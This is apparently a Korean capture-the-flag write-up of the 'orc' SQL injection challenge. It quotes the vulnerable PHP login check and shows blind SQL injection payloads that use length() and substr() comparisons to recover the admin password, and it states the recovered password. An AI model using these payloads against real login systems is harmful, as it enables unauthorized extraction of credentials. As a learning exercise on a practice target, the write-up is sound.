query : {$query}
"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "Hello admin
"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?>
직접 패스워드와 비교를 하므로 실제 패스워드를 알아내야 한다.
Blind SQL Injection
일단, 패스워드의 길이는 length(pw)를 이용했고,
패스워드 한글자 한글자를 substr(pw, , ,)을 이용했다.
?pw=' or id='admin' and length(pw)<10 ' or id='heeyeon
?pw=' or id='admin' and substr(pw,1,1)>char(97) or id='heeyeon
여기서 마지막에 '을 강제로 붙이므로 or id='heeyeon을 붙여줬다!
295D5844
295d5844도 가능...
295D5844는 불가능 but 295d5844는 가능..이유를 잘 모르겠다 질문!